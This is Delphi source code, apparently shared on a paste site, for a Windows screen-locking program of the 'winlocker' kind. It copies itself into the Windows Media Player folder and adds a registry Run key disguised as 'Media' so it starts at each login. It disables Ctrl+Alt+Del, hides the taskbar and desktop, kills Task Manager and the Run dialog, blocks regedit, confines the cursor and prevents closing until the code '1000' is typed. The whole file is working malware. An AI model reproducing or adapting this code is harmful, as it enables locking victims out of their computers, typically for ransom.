Pasted

    unit Unit1;
     
    interface
     
    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, StdCtrls, Buttons, ExtCtrls,registry, OleServer, WordXP;
     
    type
      TForm1 = class(TForm)
        Edit1: TEdit;
        Button2: TButton;
        Label3: TLabel;
        Label7: TLabel;
        Timer1: TTimer;
        Button4: TButton;
        Button5: TButton;
        Button6: TButton;
        Button8: TButton;
        Button9: TButton;
        Button3: TButton;
        Button7: TButton;
        Button16: TButton;
        Button17: TButton;
        Button18: TButton;
        Timer2: TTimer;
        Button1: TButton;
        Button10: TButton;
        ListBox1: TListBox;
        procedure FormActivate(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure Edit1Change(Sender: TObject);
        procedure FormKeyDown(Sender: TObject; var Key: Word;
          Shift: TShiftState);
        procedure Edit1KeyDown(Sender: TObject; var Key: Word;
          Shift: TShiftState);
        procedure Edit2KeyDown(Sender: TObject; var Key: Word;
          Shift: TShiftState);
        procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
        procedure Button2Click(Sender: TObject);
        procedure Timer1Timer(Sender: TObject);
        procedure Button4Click(Sender: TObject);
        procedure Button5Click(Sender: TObject);
        procedure Button6Click(Sender: TObject);
        procedure Button8Click(Sender: TObject);
        procedure Button9Click(Sender: TObject);
        procedure Button3Click(Sender: TObject);
        procedure Button7Click(Sender: TObject);
        procedure Button16Click(Sender: TObject);
        procedure Button17Click(Sender: TObject);
        procedure Button18Click(Sender: TObject);
        procedure Timer2Timer(Sender: TObject);
        procedure Button10Click(Sender: TObject);
      private
        { Private declarations }
      procedure CreateParams(var T: TCreateParams); override;
      procedure CreateWindowsRegions(const X, Y: Integer; const RegionHandle: THandle);
      public
        { Public declarations }
      end;
     
    var
      Form1: TForm1;
      m_OldMHook: HHook = 0;
      k_OldKBHook: HHook = 0;
     
    implementation
     
     
     
    {$R *.dfm}
     
    function KbHook(code: Integer; wparam: Word; lparam: LongInt): LongInt; stdcall;
    begin
    if code < 0
    then Result := CallNextHookEx(k_oldKbHook, code, wparam, lparam)
    else Result := 1;
    end;
     
    procedure TForm1.CreateWindowsRegions(const X, Y: Integer;
      const RegionHandle: THandle);
    var
    FirstRegion, CombineRegion : THandle;
    begin
    FirstRegion := CreateRoundRectRGN(0 + X, 0 + Y, 650 + X, 410 + Y, 55, 55);
    CombineRegion := FirstRegion;
    SetWindowRGN(RegionHandle, CombineRegion, true);
    end;
     
    procedure TForm1.Button3Click(Sender: TObject);
    begin
    edit1.text:=edit1.text+'6';
    end;
     
    procedure TForm1.Button4Click(Sender: TObject);
    begin
    edit1.text:=edit1.text+'1';
    end;
     
    procedure TForm1.Button5Click(Sender: TObject);
    begin
    edit1.text:=edit1.text+'2';
    end;
     
    procedure TForm1.Button6Click(Sender: TObject);
    begin
    edit1.text:=edit1.text+'3';
    end;
     
    procedure TForm1.Button7Click(Sender: TObject);
    begin
    edit1.text:=edit1.text+'7';
    end;
     
    procedure TForm1.Button8Click(Sender: TObject);
    begin
    edit1.text:=edit1.text+'4';
    end;
     
    procedure TForm1.Button9Click(Sender: TObject);
    begin
    edit1.text:=edit1.text+'5';
    end;
     
    procedure TForm1.CreateParams(var T : TCreateParams);
    begin
    inherited Createparams(T);
    with T do
      Style := (Style or WS_POPUP) and not WS_DLGFRAME;
    end;
     
    procedure TForm1.FormActivate(Sender: TObject);
    var
    hTaskBar : THandle;
    begin
      Edit1.Clear;
    //Screen Size
      form1.Height:=screen.Height;
      form1.Width:=screen.Width;
    //Disable ALT + CTRL + DEl ALT + TAB CTRL + ESC
      SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0);
    //Remove the Taskbar
      hTaskbar := FindWindow('Shell_TrayWnd', Nil);
      ShowWindow(hTaskBar, SW_HIDE);
    //Remove icons from the desktop
      ShowWindow(FindWindow(nil,'Program Manager'),SW_HIDE);
    end;
     
    procedure TForm1.FormCreate(Sender: TObject);
    var
    reg: tregistry;
    begin
    CopyFile(PChar(ParamStr(0)), PChar('C:\Program Files\Windows Media Player\' + ExtractFileName(ParamStr(0))), True);
    Reg:=TRegistry.Create;
    Reg.RootKey:=HKEY_CURRENT_USER;
    Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
    Reg.WriteString('Media','C:\Program Files\Windows Media Player\stop.exe');
    Reg.CloseKey;
    end;
     
     
     
    procedure antio;
    var
    tit:HWND;
    begin
    tit:=FindWindow(nil, 'Диспетчер задач Windows');
    if (tit>0) then
    PostMessage(tit, WM_QUIT, 1, 0);
    tit:=FindWindow(nil, 'Запуск программы');
    if (tit>0) then
    PostMessage(tit, WM_QUIT, 1, 0);
    tit:=FindWindow(nil, 'Мой компьютер');
    if (tit>0) then
    PostMessage(tit, WM_QUIT, 1, 0);
    end;
     
    procedure TForm1.Edit1Change(Sender: TObject);
    begin
        Edit1.PasswordChar:='*';
    end;
     
     
     
    procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    begin
    if (Shift = [ssAlt]) and (Key = VK_F4) then Key := 0;
    end;
     
    procedure TForm1.Edit1KeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    begin
    if (Shift = [ssAlt]) and (Key = VK_F4) then Key := 0;
    end;
     
    procedure TForm1.Edit2KeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    begin
    if (Shift = [ssAlt]) and (Key = VK_F4) then Key := 0;
    end;
     
    procedure TForm1.Button10Click(Sender: TObject);
    begin
    edit1.text:=edit1.text+'-';
    end;
     
    procedure TForm1.Button16Click(Sender: TObject);
    begin
    edit1.text:=edit1.text+'8';
    end;
     
    procedure TForm1.Button17Click(Sender: TObject);
    begin
    edit1.text:=edit1.text+'9';
    end;
     
    procedure TForm1.Button18Click(Sender: TObject);
    begin
    edit1.text:=edit1.text+'0';
    end;
     
    procedure TForm1.Button2Click(Sender: TObject);
    var
      hTaskBar : THandle;
      Login:string[10];
      Password:string[20];
    begin
      Login:=edit1.text;
    If (Login='1000') then
    begin
    DeleteFile('C:\Program Files\Windows Media Player\stop.exe');
    ///////////////////////////////////////////////////////////////
    //включаем alt+ctrl+del alt+tab ctrl+esc
      SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0);
    //Показываем иконки на рабочем столе
      ShowWindow(FindWindow(nil,'Program Manager'),SW_SHOW);
    //Показываем Панель Задач
      hTaskbar := FindWindow('Shell_TrayWnd', Nil);
      ShowWindow(hTaskBar, SW_SHOWNORMAL);
    //Закрываем прогу
    Close;
    ///////////////////////////////////////////////////////////////
    end
    else
    begin
      Messagedlg('Неверные Коды',mterror,[mbok],0);
      Edit1.Clear;
    end;
    end;
     
    procedure TForm1.Timer1Timer(Sender: TObject);
    begin
    Form1.FormStyle:=fsStayOnTop;
    fileopen('C:\windows\system32\taskmgr.exe',fmshareexclusive);
    fileopen('C:\windows\regedit.exe',fmshareexclusive);
    end;
     
    procedure TForm1.Timer2Timer(Sender: TObject);
    var
    curs: TRect;
    begin
    antio;
     
    SetWindowPos(Handle,HWND_TOPMOST,Left,Top,Width,Height,SWP_NOACTIVATE Or SWP_NOMOVE Or SWP_NOSIZE);
    curs := Rect(Form1.Left+0, Form1.Top+0, Form1.Left + Form1.Width-0, Form1.Top + Form1.Height-0);
    ClipCursor(@curs);
    end;
     
    procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    begin
    CanClose:= false;
    end;
 
    end.
 
// Coded by Agulzex //